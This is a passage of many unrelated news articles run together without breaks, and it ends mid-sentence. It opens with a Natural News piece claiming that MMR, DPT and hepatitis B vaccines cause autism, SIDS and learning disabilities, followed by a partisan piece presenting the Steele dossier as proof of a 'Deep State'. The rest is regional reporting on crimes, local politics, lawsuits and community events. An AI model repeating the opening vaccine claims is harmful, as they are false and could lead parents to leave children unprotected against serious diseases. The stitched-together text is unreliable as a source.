prominent homeopathic medicine historian and lecturer, vaccines are the most likely culprit. Probably 20 percent of American children suffer from development disability a large proportion of the millions of U.S. children and adults suffering from autism, seizures, mental retardation, hyperactivity, dyslexia and other development disabilities owe their disorders to one or another of the vaccines against childhood diseases, he says. Even the Association of American Physicians and Surgeons itself says that MMR, along with the hepatitis B vaccine, are far more of a threat than the diseases they supposedly prevent. Having children simply endure such diseases naturally as they used to do, the group says, would prevent having 10 percent of a generation afflicted with learning disability and/or uncontrolled aggressive behavior because of an impassioned crusade for universal vaccination. Many vaccines linked to autism, SIDS, and other childhood illnesses, doctors warn Its not just the MMR vaccine thats causing autism and other learning disabilities, either. The DPT vaccine for diphtheria and pertussis is similarly questionable, according to Dr. Jerome Murphy, M.D., the former head of Pediatric Neurology at Milwaukee Childrens Hospital, who warns that DTP is strongly correlated with causing childhood seizures. There is just overwhelming data that theres an association, he says. Sometimes, the most damning indictment can come right from the conventional medical authorities themselves. According to both the CDC and Merck, manufacturer of the MMR vaccines, adverse reactions from vaccines can include fever, rash, fainting pancreatitis, diarrhea vomiting, nausea, coma and permanent brain damage. Vaccines are also associated with a deadly childhood disease referred to as crib death, or sudden infant death syndrome (SIDS). Though mainstream health authorities often blame SIDS on unknown factors, studies show that vaccines are more than likely involved. A paper published by researchers from the University of California, Los Angeles that was sponsored by the U.S. Food and Drug Administration (FDA) found that the DPT vaccine is strongly linked to SIDS. My suspicion, which is shared by others in my profession, is that the nearly 10,000 SIDS deaths that occur in the U.S. each year are related to one or more of the vaccines that are routinely given to children, says Dr. Robert Mendelsohn, M.D. William C. Torch, Director of Child Neurology within the Department of Pediatrics at the University of Nevada, Reno School of Medicine, even went so far as to say that the risks associated with vaccines far outweigh any potential benefits. DPT vaccinations may be a generally unrecognized major cause of sudden infant and early childhood death, and the risks of immunization may outweigh its potential benefits, he says. For more related news, be sure to check out Vaccines.news. Sources for this article include: NaturalNews.com NaturalHealth365.com (Natural News) Former British spy Christopher Steele made a truly stunning admission in a recent court filing with regard to a defamation case brought by three Russians mentioned in the dossier he was hired to write. As reported by The Washington Times, Steele said he was paid by a Democrat-aligned law firm, Perkins Coie, to create the dossier specifically so that Hillary Clinton could challenge the 2016 election results on grounds that Moscow interfered. Perkins Coie, previous reports have noted, served as the cut-out an intelligence term for a go-between for Fusion GPS, the opposition research firm hired by Clintons campaign and the Democratic National Committee to find dirt on her rival, then-GOP nominee Donald Trump. The law firm sought to be in a position to contest the results based on evidence [Steele] unearthed on the Trump campaign conspiring with Moscow on election interference, the Times reported. The startling admission was made in a sealed Aug. 2 declaration in the defamation case which was brought against liberal news site Buzzfeed after publishing the unverified, uncorroborated dossier in full shortly before POTUS Trumps inauguration in January 2017. A Russian-owned tech firm, XBT Holdings, which was implicated in the dossier, filed suit against Buzzfeed the following month, in February 2017. The Cyprus-based company is owned by Russian tech magnate Aleksej Gubarev. Three Russian bankers also implicated in the dossier have filed suit against Fusion GPS, and it is that case in which Steele filed his Aug. 2 response. In answering interrogatories, Steele noted, Fusions immediate client was law firm Perkins Coie. It engaged Fusion to obtain information necessary for Perkins Coie LLP to provide legal advice on the potential impact of Russian involvement on the legal validity of the outcome of the 2016 U.S. Presidential election. Based on that advice, parties such as the Democratic National Committee and HFACC Inc. (also known as Hillary for America) could consider steps they would be legally entitled to take to challenge the validity of the outcome of that election, he continued. See, the Deep State IS real The DNC did not file a challenge, but Steeles answer provides evidence that the Clinton camp was considering using the dossier for the purpose of challenging a Trump victory. While the U.S. intelligence community has claimed that Russia interfered in the 2016 election by hacking Democratic Party computers as well as the account of Clinton campaign manager John Podesta, and then giving the stolen data to WikiLeaks an allegation that WikiLeaks founder Julian Assange has disputed not a single associate of the presidents campaign has been charged with criminal collusion. Additionally, Steele himself has admitted key elements he put in the dossier were never verified. The dossier included libelous, unverified and untrue allegations regarding XBT, Webzilla and Gubarev. The lawsuits seek yet undetermined compensation for the damages suffered by XBT, Webzilla and Gubarev as the result of the publication of the dossier, said an April 2017 statement from the company. Buzzfeed is attempting to get the lawsuit thrown out on the grounds that it was in the publics interest to publish the dossier. But a federal judge on Wednesday dealt a blow to Buzzfeeds defense, noted Politico: Miami-based U.S. District Court Judge Ursula Ungaro ruled that Russian businessman Aleksej Gubarev is not a public figure for purposes of the defamation suit he filed last year. The decision means that Gubarev might be able to prevail in the suit by showing mere negligence by BuzzFeed and wont have to meet the more demanding actual malice standard typically applied in U.S. courts in controversies involving prominent individuals or those actively engaged in a public debate. More than anything, Steeles admission appears to legitimize claims that a Deep State really does exist and that members conspired to undermine POTUS Trumps 2016 election victory. Read more about the Deep States corruption at Corruption.news. Sources include: WashingtonTimes.com TheNationalSentinel.com Politico.com Mayor London Breed on Wednesday defended her letter to the governor urging that he free her imprisoned brother in the face of strong criticism from the victims family that her intervention smacks of abuse of power. Its sadly been twisted in an unfortunate way, the mayor said in her first public remarks addressing NBC Bay Areas story about her letter in October urging outgoing Gov. Jerry Brown to free her brother, Napoleon Brown, who is serving a four-decade sentence for killing Lenties White in 2000. In 2005, a San Francisco jury found that Brown pushed White, a 25-year-old mother of two, out of a car into Golden Gate Bridge traffic while they were fleeing a robbery. In writing the governor, Breed asked that Brown be released 15 years before he is up for parole, saying his freedom is best for Brown and society, and he would be able to get better addiction treatment on the outside. But she acknowledged Wednesday that her now exposed plea to commute his sentence may have backfired. Unfortunately, I am in a situation where I am mayor, Breed said. It will probably have the reverse impact of what I was hoping that it would possibly do, which is get my brother a reasonable sentence and get him into treatment -- and get him the support that he needs. Breed contends her brother has been treated unfairly by the justice system, like many other African-American men. She stressed that because of the states Three Strikes law, Brown is serving twice the normal term for manslaughter and other lesser crimes. Last year, however, he was caught with heroin at Solano State Prison and recently had two years tacked on to his term. Her brothers case, she said, reflects her overall view that the system needs to be reformed to allow for rehabilitation. This is what I care about, she said. This is why I became a public servant. Breed said she has written letters on her brother's behalf before, but now being mayor complicated her decision process. When I was asked to write another letter, I was of course concerned -- that, you know, as mayor, this could backfire, she said. It could have the reverse impact. And I knew the letter would be public. So I wasnt necessarily trying to hide anything, but I was concerned. While she made no mention of the victim or her family in her letter to the governor, Breed went out of her way Wednesday to express her sympathies. My thoughts go out to the family of Lenties White, Breed said outside a gathering to rename a revamped public housing project. I know the family, Im very close with them. I know that, unfortunately, this situation has sadly opened up wounds. Its a tragic situation. But Sandra McNeil, Whites mother, said the mayor should have gone to her about the letter before now. She said the mayor left out key facts in her letter, including Browns arrest for heroin possession last year in prison, and that the mayor told a jury her brother was sleeping on the couch at the time of Whites death. In Whites dying words, however, she implicated Brown to officers at the scene. I feel disrespected, McNeil said about the mayor not reaching out to tell her in advance she planned to send a letter to the governor. Just going behind my back and just writing a letter, something like that letter right there, thats not justice for me." Just in time for the holiday rush, a small seal made its way to Oakland International Airport early Thursday morning only to be escorted back home by authorities. The Alameda County Sheriff's Office posted footage to its social media pages capturing deputies safely steering the seal back to the waters of the San Francisco Bay. "We are not exactly sure where he was headed but a flight to Hawaii is suspected," the sheriff's office quipped on Facebook. The sheriff's office added on Twitter that the seal was "a very cool customer" who "handles holiday travel well." Sierra Nevada Brewing Company has finally released its new specialty beer created to help raise money for a Northern California community destroyed by the state's deadliest wildfire last month. Around 1,400 breweries across the country will host a "Resilience Night" Thursday and raise a glass of California-based Sierra Nevada Brewing Company's new specialty IPA called Resilience Butte County Proud. Sierra Nevada is based in Butte County, where the devastating wildfire led to the deaths of 86 people. The wildfire started Nov. 8, forcing thousands to flee and leaving several people unaccounted for. "Every dollar spent on Resilience will benefit those impacted by the Camp Fire," Sierra Nevada said in a statement. The company said it expect to raise at least $10 million in sales for the victims. More than 60 breweries and bars across the Bay Area will be participating. Check the map below to find a location near you. Sierra Nevada shared the recipe for the citrus-flavored beer so that breweries could make it locally. "When (Sierra Nevada) made the call out to breweries around the country to come forward to help out the situation, we saw an overwhelming response," said Lawrence brewer Geoff Deman told the Associated Press. The Associated Press contributed to this report. [NATL-BAY]PHOTOS: Wildfire Ravages Butte County, Leaving Dozens Dead A violent attack in San Francisco's Tenderloin neighborhood has a business owner pleading for help from police. Employees at HVMN, which makes nutritional foods and supplements, said they aren't feeling safe after a co-worker saw a violent attack Tuesday outside the company's office on Mason Street. The startup's CEO Geoffrey Woo posted video of the attack on Twitter, asking police and city leaders for help. "I think it's boiled over to a point of frustration, of worrying about our safety," Woo said. "We are going out eating lunch, walking around in the neighborhood. It's scary." San Francisco police officers saw the tweet and stopped by the office Wednesday to take a report. Woo said the neighborhood needs more officers. "When police are on the street, it's cleaner, safer. But too few in between," he said. Some people who live in the Tenderloin agree. "If there are cops around, there's not nearly as much going on," resident Diane Tomasello said. "If no cops are around, all kinds of stuff is going on." SFPD said it has stepped up efforts in the neighborhood, adding a dozen police officers to foot patrols in November and often tweeting about the repeated arrests of drug dealers. SFPD The suspect was captured on surveillance video and the police department has released two images from the footage. Shaken by the violence outside his office door, Woo said the thought of moving the company's office has crossed his mind. "If it doesn't get better, I don't think we'll have a choice," he said. "We'll have to move out." Anyone who recognizes the suspect is asked to contact police at their 24-hour anonymous tip line at (415) 575-4444 or to text TIP411 with "SFPD" in the beginning of the message. A new state report says nearly 187,000 Illinois residents have registered to vote through the state's new automatic voter registration system. The system went online July 1 under a state law approved last year. A report from the state Board of Elections says about 186,800 people registered to vote between July and Nov. 26 using the system, which requires people to be automatically registered to vote when they apply for or renew a driver's license or interact with certain state agencies. [NATL] Top News Photos: Pope Visits Japan, and More The State Journal-Register reports that voting rights advocates say Secretary of State Jesse White's office has been slow in implementing the law and is violating both state and federal voter registration laws. White's office denies that and says it's working to fully implement the automatic voter registration law. A surprise developed Wednesday in DePaul University freshman David Krupa's long-shot bid against incumbent 13th Ward Ald. Marty Quinn. The Cook County state's attorney's office confirmed to NBC 5 it has contacted the Cook County Board of Elections about allegations of fraud in the race. Krupa told NBC 5 Political Editor Carol Marin that someone identifying themselves as a federal agent said Quinn was being investigated. A phone call to that person's number was not returned and the FBI would not comment. Quinn recently dropped an attempt to get Krupa tossed off the ballot amid accusations of fraud. Krupa won a significant victory on Saturday as Quinn withdrew his challenge to his candidacy. The decision comes after accusations that the Quinn camp fraudulently submitted affidavits from hundreds of voters who allegedly claimed that they were revoking their support of Krupa. It was very unethical from the start, and possibly criminal, Krupa said. Quinns campaign had challenged the DePaul freshmans petitions and filed affidavits from nearly 2,800 voters saying they didnt mean to sign Krupas petitions. Photos: 10 Candidates for Chicago Mayor Take Part in Forum Krupas attorney says that his client only submitted around 1,700 petition signatures, and that out of all the affidavits filed by the Quinn campaign, only 187 matched signatures on those petitions. So, the Quinn organization filed over 2,600 false sworn affidavits with the Board of Elections, Attorney Mark Dorff said. And thats perjury. Quinns office did not acknowledge the charges of fraud, but instead attributed the withdrawal to a request from several unions. (Voters) deserve the opportunity to reject him, the campaign said in a statement. No one whose personal conduct and whose extreme agenda so offend the city of Chicago should have the opportunity to hide behind false claims of victimhood, but thats no doubt what a politician like Mr. Krupa would attempt to do should he be removed from the ballot. NBC 5 was able to contact two of the unions that pushed for the withdrawal of the challenge, but none would comment on allegations made by the Krupa campaign. "Mr. Krupa has put himself forward was a candidate for public office, and we believe he should now have to face voters and explain himself," Personal PAC President Terry Cosgrove, International Union of Operating Engineers Local 150 President James Sweeney, and the Chicago Teachers Union said in a joint statement. "Voters deserve to see everything Mr. Krupa is hiding from them, and they deserve the opportunity to reject him." A spokesman for the Board of Elections told NBC 5 that its now up to the states attorneys office whether or not to investigate Krupas claims, and the candidates attorney says they will press the matter further. A man was caught on camera breaking into a Hebron home and stealing what the homeowner said was Christmas present and jewelry, including presents for a family in need that she was supporting this holiday season. They know its little kids that are going to be affected by that . Where is the morality of people that can do that, said homeowner Maria KcKeon. But in true Christmas spirit, the community has stepped up in force. After the burglary, a neighbor, whom McKeon had never met, reached out to Something Simple Cafe in Hebron asking if the popular spot could help. Owner Jessica Dapsis emailed McKeon, who told her about the family shes assisting. It really just touched me and she asked if donations could go to them instead, Dapsis said. Dapsis put a post on the on the Something Simple Cafe Facebook page on Dec. 12 and the response was extraordinary. Donations flooded a bin set up inside the cafe, nearby tables and the floor. Within about four days, it was overflowing. Maria came and picked up the first (batch of donations) and within two more days, I had to call her (to come again). We had one person come in withit was probably like 10 bags of wrapped presents labeled for the kids. It was unbelievable, Dapsis said. Dapsis said shes been offering free coffee or hot coca to people who donate. Many dont even accept it. Hebron really is just one of those communities that when something happens, people step up and really try and support each other, she said. People have also been coming into the cafe from out of town to donate. A manager at Savers in Manchester told NBC Connecticut the store has extended an offer to help clothe the family. Besides Christmas presents, donations also included gently used clotheslike winter coatsa car seat and more than $1,000 in gift cards and cash to help with expenses like utility bills, according to McKeon. Shes also raised more than $1,100 on Facebook from people all across the country. The family is overwhelmed because the kids have never really had a Christmas before, McKeon said. She didnt even have stockings, she didnt even have wrapping paper! New donations Wednesday revealed Christmas wreaths and a small tree. McKeon said the family is a mom, a 10-year-old boy, and girls ages five, three and a newborn. The mom was just diagnosed with a serious heart condition. Tom Reiley, of Glastonbury, pulled $10 out of his pocked to help at Something Simple Cafe Wednesday before even hearing the full story. Theres some real Grinches out there and despicable people that actually give the Grinch a good name, Reiley said. A Mexican national accused of sexually assaulting a college student in Fairfield in 2014 is in custody after he was found in Mexico City. Edibaldo Eddie Duran, 29, is accused of a home invasion and sexual assault on Sept. 1, 2014. Police said the victim was sleeping and the only person home at the time that Duran broke in around 3 a.m. that morning and she woke when he beat her, sexually assaulted her and choked her to the point where she lost consciousness, according to police. Police identified Duran as a suspect and learned that he boarded an AeroMexico flight that left from JFK at 12:45 a.m. on Sept. 5, 2014 and arrived in Mexico City at 5:08 a.m. that morning. On Wednesday, the U.S. Marshal Service, District of Connecticut, took Duran into custody in Mexico City, where he was extradited under an international extradition to Connecticut and Fairfield Police Detectives took him into custody at 8 p.m., then transported him to Fairfield, where he was formally charged with home invasion, aggravated sexual assault in the first degree, strangulation in the first degree, assault in the first degree, unlawful restraint in the first degree, and larceny in the sixth degree. He was held on $250,000 court-ordered bond. Several New Haven schools were placed into lockdown as police investigated a shooting in the city's Cedarhill and Fair Haven sections on Wednesday morning. Police were alerted to gunfire around 7:30 a.m. and got a call from someone who reported being a gunshot victim and was driving to the police substation on Blatchley Avenue, police said. The person arrived at the substation with what police called non-life threatening gunshot wounds. While the victim was taken to the hospital, police began investigating several crime scenes in the area. The New Haven Board of Education placed several nearby schools into lockdown as a precaution and some school buses were rerouted during the incident, police said. The lockdowns were lifted a short time later. Police said they do not believe the incident was related to an earlier shooting in the city's Newhallville section. In that incident, police found a gunshot victim on Bassett Street around 1:40 a.m. That person was taken to the hospital with non-life threatening injuries, police said. The state of Connecticut is suing Stamford-based pharmaceutical company Purdue Pharma, claiming the company ran a misleading campaign that downplayed the risk of addiction to opioids they manufactured to generate sales, despite the opioid crisis, according to a press release from the Connecticut attorney generals office. See the complaint below. Attorney General George Jepsen announced the lawsuit Thursday. The suit claims that Purdue peddled a series of falsehoods that pushed patients toward opioid use and reaping large profits while opioid addiction caused pervasive problems in Connecticut and across the country. According to the attorney general, 1,038 people died in Connecticut of accidental drug overdoses in 2017, the majority from opioid-related overdoses. The Connecticut Office of the Chief Medical Examiner has projected that 1030 more people will die of overdoses in 2018. We will allege in court that Purdue knowingly put its own exorbitant profits first when it purposefully and systematically misled doctors by not just downplaying the terrible risks of addiction, but by forcefully asserting that opioid products were safe, that the risk of addiction was low, and that patients experiencing symptoms of addiction should actually be prescribed higher and greater doses of Purdue's opioid drugs. We allege that this behavior was endorsed and promoted by the highest leadership of the company and that it was in violation of Connecticut law, Jepsen said in a press release. The state alleges that Purdue gave misleading information to patients and doctors to convince more people to take OxyCotin and two other opioids, Hysingla and Butrans. The lawsuit claims that Purdue suggested that opioids were safe to treat minor pain, and encouraged doctors and patients to take higher doses and rewarded high-prescribing doctors with meals, gifts and money, and awarded prizes and bonuses to sales representatives based on opioid prescriptions. Purdue stopped marketing opioid drugs to doctors in February 2018. OxyContin has long been the world's top-selling opioid painkiller, bringing in billions in sales for Purdue. The company has released the following statement on the allegations: We share the states concern about the opioid crisis. While Purdue Pharmas opioid medicines account for less than 2% of total prescriptions, we will continue to work collaboratively with the state toward bringing meaningful solutions to address this public health challenge. We vigorously deny the states allegations. The state claims Purdue acted improperly by communicating with prescribers about scientific and medical information that FDA has expressly considered and continues to approve. We believe it is inappropriate for the state to substitute its judgment for the judgment of the regulatory, scientific and medical experts at FDA. We look forward to the opportunity to present our substantial defenses. [[503253771, C]] A Texas grandmother who used a box cutter to fight off a pair of robbers at her Subway restaurant may have a new title: Houston's Toughest Abuela. Recently released video of the Sept. 22 robbery at a Subway on Westheimer Road shows two men in hoodies jump over the sandwich franchise's counter and confront 44-year-old Guadalupe Rojas, KPRC-TV reported. Rojas grabbed a box cutter and held her ground, refusing to turn over any cash. Security video shows one of the men grabbing a pan and striking Rojas over the head before punching her repeatedly. The station reported Rojas, who stands 4 feet, 9 inches tall, slashed one of the robbers. According to KPRC, Houston police are searching for the men in the video. "[The attack] taught me that I had to defend my family, because that is how I feel, that Subway is my family," said Rojas, who has worked at the restaurant for six years. "I was shocked to see my mom in that way," Aurelia Mejia told KPRC. Her sister, Edith, said they were both "super proud" of the grandmother of nine. The report said Rojas did not receive a raise for her actions, but she did receive more hours. As President Donald Trump struggles to get funding for his wall along the southern border, a wounded veteran is trying to crowdsource money himself and it's rapidly gaining steam, though it's got a long way to go until it gets to its $1 billion goal. The "We The People Will Fund The Wall" campaign on GoFundMe had raised more than $5.5 million as of Thursday and was gaining hundreds of thousands of dollars by the hour as the president continues to press Congress to fund his signature campaign promise. The GoFundMe campaign is led by Brian Kolfage, a veteran of the U.S. Air Force who lost three limbs in an explosion in Iraq in 2004. "If we can fund a large portion of this wall, it will jumpstart things and will be less money Trump has to secure from our politicians," he wrote. The page collects donations through GoFundMe but also lists an address for Kolfage where people can send checks, made payable to GoFund The Wall. The page attempts to answer several questions about the project's trustworthiness, including whether it's a scam Kolfage asserts he uses his real name and information, so he's accountable. It meets GoFundMe's terms of service, a spokesman said. The page also says that organizers are contacting the Trump administration to secure a place where the money can be sent when the goal is reached and cites private donations for a recent restoration of the Washington Monument as precedent. The White House did immediately respond to a request for comment. "We will hold all funds and not release a single penny until we have all legal aspects covered to ensure our money goes only to the wall," the GoFundMe page says, adding that all the money would be refunded "if we don't reach our goal or come significantly close." Kolfage hasn't responded to a request for an interview, but he told The Washington Post that his campaign was "giving the people the power." A Facebook page touted on the GoFundMe as the campaign's official one stopped working on Thursday. NBC has reached out to Facebook for comment, but has yet to receive a reply. Kolfage has previously had activity banned on Facebook. According to a post he wrote on the Right Wing News website in October, Facebook took down the outlet's verified page, which Kolfage managed, as part of a crackdown on disinformation ahead of the midterm elections. He called it a "malicious coordinated" attack on what he and others have fought for. Kolfage lost his legs and part of his right arm in a mortar explosion while serving as an airman in Iraq. He received a Purple Heart and, after he began giving back to the community, the Wounded Warrior Project's George C. Lang award for courage. He attended the 2012 State of the Union address with former Rep. Gabrielle Giffords, who the year before called him a friend and an inspiration in her recovery from being shot in the head. Trump has been seeking $5 billion for his border wall in this year's budget, which only allocates $1.3 billion for it. He's threatened to shut down the government, whose funding runs out Friday night, and called Republicans to the White House Thursday for crisis talks on a bill that would keep the government funded through the first week of February. The money Kolfage has raised so far on GoFundMe is less than 1 percent of the campaign's goal, Kolfage wrote on the page, though giving has sped up as it's gotten more news coverage. He wrote that he's trying to have GoFundMe raise the maximum goal of $1 billion and calculated that, "If the 63 million people who voted for Trump each pledge $80, we can build the wall." That would be total over $5 billion, enough to cover a year of the funding Trump is seeking. The Better Business Bureau recommends that people hoping to assess whether a GoFundMe campaign is a scam reach out to GoFundMe on the site or the organizer themselves through the envelope next to their name. Anyone can report the campaign as well. Charity Navigator, which evaluates nonprofits, suggests several ways to learn more about fundraisers. Christmas Cheer Foundation is an all-volunteer nonprofit charity that its officials say has delivered prepared meals and new childrens books to the Chicagoland hungry for more than 35 years. More than 20,000 meals will be delivered this year to people in Chicago and more than 45 suburbs. This is the first year for recipients in Kane County. What to Know Ersilia Cataldo Matarazzo was allegedly shot and killed in her car by her estranged husband, Emilio Matarazzo, on Wednesday morning. The night before she died, prosecutors said Ersilia told a friend she was afraid of what Emilio might do to her. Prosecutors said Ersilia told her family last month that Emilio had been violent with her, at one point strangling her. A Massachusetts woman fatally shot by her estranged husband as she was heading to work Wednesday told a friend the night before she was killed that she was afraid of what he might do to her, officials said. A judge ordered 55-year-old Emilio Matarazzo, of Peabody, to be held without bail during his arraignment Thursday on a murder charge in connection with the slaying of Ersilia Cataldo Matarazzo of Everett. Prosecutors said in court Thursday that Emilio spoke to his son on the phone about 10 minutes after the shooting, telling him, "What is done is done." The night before she died, prosecutors said Ersilia told a friend she was afraid of what Emilio might do to her. She had recently filed for divorce after 30 years of marriage. Prosecutors said Ersilia told her family last month that Emilio had been violent with her, at one point strangling her. He also reportedly showed up at a holiday party earlier this month at the church where Ersilia worked and caused a scene, refusing to leave. Ersilia recently turned 50 and prosecutors said that for her birthday, Emilio sent her a $20,000 check, chocolates and an apology letter in an attempt to win her back. Emilio Matarazzo reportedly turned himself in to Everett police about two hours after he allegedly shot and killed his estranged wife. Prosecutors said when officers asked Emilio how it was going, he replied, "Not good." Middlesex District Attorney Marian Ryan said Everett officers responded to a home on Central Avenue after receiving a call around 8:40 a.m. for a report of shots fired. When police arrived, they found Ersilia Matarazzo's body inside a car in the driveway of her parents' home with multiple gunshot wounds. A neighbor said she heard four gunshots followed by screams. "After the four gunshots, I heard screaming. A woman screaming," she said. The couple was in the process of getting divorced, and Emilio Matarazzo was licensed to carry a firearm, according to Ryan. There was neither a previous court history nor a restraining order filed between the two, Ryan added. Ersilia Cataldo Matarazzo appeared to have been on her way to work at St. Anthony's Church, where she had worked for about 20 years, according to Everett police. She had a large extended family in the city of Everett and was Mayor Carlo DeMaria Jr.'s second cousin. She had served on the school committee and board of registrars and was currently serving on the city's board of assessors. Those who knew Ersilia Matarazzo, a mother of three adult children, are at a loss for words. "This has been a difficult loss, not only for our family, but for the entire community," her aunt, Maureen DiPierro, said Thursday. "We all loved Ersilia very much. She touched a lot of lives around her." "I don't even know what to think," said one woman who was in the Everett High School band with Ersilia. "[Ersilia was] quiet, nice. Just a nice, nice person." Everett Police Chief Steve Mazzie said Ersilia Matarazzo was a "well-known, well-liked, well-respected" member of the community with deep roots in the city just north of Boston. "Shes an angel now, but she was taken far too soon," Ersilia Matarazzo's former high school classmate said. It's not clear if Emilio Matarazzo has a lawyer who could respond to the allegations. He is scheduled to return to court on Jan. 18. The investigation into the deadly shooting is ongoing. DOMESTIC VIOLENCE HELP: The National Domestic Violence Hotline at 800-799-7233 or 800-787-3224 (TTY) provides people in distress, or those around them, with 24-hour support. Homeland Security Secretary Kirstjen Nielsen faced a barrage of criticism from House Democrats on Thursday in a testy hearing on the Trump administration's immigration policies, NBC News reported. In one particularly heated exchange during the House Judiciary Committee hearing, Democratic Rep. Luis Gutierrez of Illinois called the DHS chief a liar after she defended the administration policy of separating migrant children from their parents at the U.S.-Mexico border. "It is as if you cant see the reality of modern immigration or contributions of anyone who came from countries other than Norway or other parts of Europe. Its as if you and the Trump administration are blind," he said. "Shame on everybody that separates children and allows them to stay at the other side of the border fearing death, fearing hunger, fearing sickness. Shame on us for wearing our badge of Christianity during Christmas for allowing the secretary to come here and lie." Nielsen has been under intense scrutiny from lawmakers and the public over the past months for enforcing the administration's staunch anti-immigration policies. President Donald Trump has also reportedly expressed displeasure with her job performance. A Southern California credit union employee has been convicted of fraud and conspiracy for giving her online boyfriend nearly $3 million in credit. Indira Mohabir of La Palma was convicted Monday of 15 federal charges and could face decades in prison. Prosecutors say she opened 25 phony lines of credit for Phillip Cook in late 2014 and early 2015 while serving as a business loan processor at Western Federal Credit Union, based in Hawthorne. Authorities say Cook, who lives in Las Vegas, managed to withdraw about $1 million before the scheme was discovered and criminal charges against him are pending. Authorities say Mohabir had a romance with Cook that involved daily texts, emails and phone calls. Cook also sent her flowers and money. What to Know Saturday, Dec. 29 9 a.m. to 1 p.m. Free to plunge, $10 adult admission to the Annenberg Community Beach House pool Whether you think of yourself as a paper straw being placed in a glass of cold lemonade, or perhaps as a mitten falling upon a snow drift, or maybe as a hot topping pouring onto a scoop of gelato, matters not. For here's the non-poetic picture of what's going to happen on Saturday, Dec. 29, should you sign up for the Annenberg Community Beach House's annual Polar Bear Swim: You, as a warm human, will be running into the not-as-warm Pacific Ocean, on the second Saturday of winter, which is also the final Saturday of 2018. You now see where we were going with the whole mitten-on-snow or hot-topping-on-ice-cream bit. In short? Not-very-cold human beings will meet the rather cold ocean water in this yearly rite of seeing the old year out (and, of course, the new year in). A few things to know about this dash into the ocean? It's free to join the barreling-into-the-Pacific part, but if you'd like to retreat to the Annenberg Community Beach House for a dip in heated pool following the foamy and frosty fun, that'll be $10. That's ten bucks for an adult, $5 seniors, $4 youth 1-17 (yep, this is an all-ages event). After the laughing/skipping/brrr-inducing scene at the ocean's edge, you can seek out a hot shower at the beach house, or find a s'more to celebrate the fact that you're officially a Polar Swimmer, or play a game near the pool, or, yes, pose for a pic with a polar bear. Okay, yeah, it's not really a polar bear, but a polar bear mascot. Let's leave the actual polar bears to their beloved tundra, where they won't get sandy paws. The hours for the second annual Polar Bear Swim are 9 a.m. to 1 o'clock, and there's a 300-yard buoy swim, if that appeals. Of course, you can just come out to the beach to cheer on the ocean-loving bravehearts, if you prefer to spend the day not clad in a swimsuit but rather something from the scarf and sweater categories. And yet another thing to consider? Many a polar-themed ocean plunge happens on New Year's Day, which is tradition, but if you have Rose Parade-watching plans, or a big brunch to eat come the first day of the year, you can still meet your goosebumpily goal on Dec. 29, in Santa Monica. Are you game? Will you go for it? Time to welcome 2019 in an impish, memorable, and California-cool kind of way. A prized recreational refuge from the city is still reeling from Woolsey Fire damage. A small number of popular trails have reopened in the Santa Monica Mountains Recreation Area, but most remain closed awaiting the completion of assessments and remediation, authorities say. "We're looking for immediate hazards," said Ferndando Gomez, Chief Ranger for the Mountains Recreation and Conservation Authority (MRCA), which shares jurisdiction with California State Parks and the National Parks Service. A widespread concern is burned oak trees--in some cases hollowed out--at risk of collapsing, a particular worry where they are near trails. The fire-cleared landscape has also revealed hazards long hidden by brush, including a drill hole, 105 feet deep and wide enough for a person to fall inside, found within a few yards of the New Millenium Trail, Gomez said. The hollow shaft was quickly filled in, but Gomez said a thorough assessment is essential to locate other lurking dangers before the public is welcomed back. Malibu Creek State Park also remains closed. In recent years, the patchwork of mountain parks and some 500 miles of trails have annually lured visitorship in the millions. Some trails on federal lands have reopened, including those in Paramount Ranch, and also in Cheeseboro and Palo Comado canyons, which are interconnected with trails which remain closed in MRCA's Upper Las Virgenes area, formerly known as the Ahmanson Ranch. Crews in off-road "quads" have begun the Upper Las Virgenes assessment, but Gomez said it is premature to project when MRCA's trails can be reopened. "It's going to take a while," Gomez said. "May take a month, may take two months." Many of the trailheads have gates, and MRCA intends to keep them locked, but other entities also have access keys, and some of the gates have been left open. Gomez re-locked one he discovered Wednesday in Calabasas at the Zev Yaroslavsky Upper Las Virgenes Highlands Park. Half an hour later, farther north, at the upper Las Virgenes trail head, a trail runner and two mountain bikers could be seen climbing over the gate--not to enter, but to depart the parkland. They said when they arrived in the morning, the gate was open, as it has been in recent weeks, and that they had not previously seen the closed sign affixed to the bulletin board kiosk on the inside of the fence. They also said they did not see why the area needed to be closed. "Threre's a couple of downed trees. Otherwise, it's pretty safe," said trail runner Jay Gillespie. Those who have made their way into the burn zone said they were stunned by the transformation, but at the same time encouraged to see new growth already sprouting. "It's so beautiful," exclaimed cyclist Isaac Goren, who said he's been riding trails in upper Las Virgenes 15 years, and never seen the landscape as it is now. "Eerie, but beautiful." Those found inside closed areas are being asked to leave, said Gomez. At a ranger's discretion, they could also be cited. He said, so far, none has. A man had a heart attack during an arrest and later died after he was accused of pushing a teen onto Red Line subway tracks in downtown Los Angeles Wednesday. The attack came around 9:17 a.m. when the victim, reportedly a 14-year-old boy, was pushed from the platform at the 5th and Hill station, and both tumbled on to the tracks. No train was coming into the station at the time, but authorities and witnesses later said the train was a minute away. When the boy and the attacker fell on to the tracks, there was a brief altercation. The man ran from the tracks, and was arrested a short time later after being involved in a separate incident at 5th and Flower Streets, the LAPD said. The man allegedly got into a fight with construction workers. The boy's father rescued him before the train arrived. No information was immediately available on the condition of the victim. The incident is the latest in a series of unprovoked attacks on residents or business people in downtown Los Angeles including a man who was hit by a truck after being pushed in front of the moving vehicle by a mentally ill homeless man with an extensive criminal record. Eric Leonard contributed to this report. A mysterious object seen in the California sky late Wednesday sent a flurry of people searching for answers. NASA confirmed Thursday that it was a meteor after the bright light in the sky got everyone speculating what it could have been. The space agency said the meteor went down in the ocean. Lick Observatory in San Jose said the flash across the sky was likely some type of meteor, and NBC Bay Area Chief Meteorologist Jeff Ranieri affirmed that report, saying it likely was a "meteor fireball or bolide," with slimmer chance of it being "space junk." PHOTOS: Mysterious Light Streaks Across California Sky Dr. David Reitzel with the Griffith Observatory in Los Angeles also said he believes it was a bolide, which left the trail in the sky that was illuminated by the remaining sunlight. The meteor was at a high altitude which was why there were reports of it being seen up and down the coast and even in Nevada. Before it was confirmed that the light was a meteor, NBC Bay Area reached out to the United States Air Force at NORAD Headquarters and officials said there was "no threat to Canada and the United States at this time." Even after NASA confirmed that the phenomenon was a meteor, people were still skeptical because the light made a swirl instead of a straight line as gravity pulled the meteor down. Why did the aftermath of the meteor look like that? NASA explained in a 2012 article that meteors smoke can make a strange-looking noctilucent cloud, or NLC, in the sky. "They look alien. The electric-blue ripples and pale tendrils of NLCs reaching across the night sky resemble something from another world," the government space agency wrote. The meteor smoke helps water molecules form, creating ice crystals around meteoritic dust, NASA said. The small ice 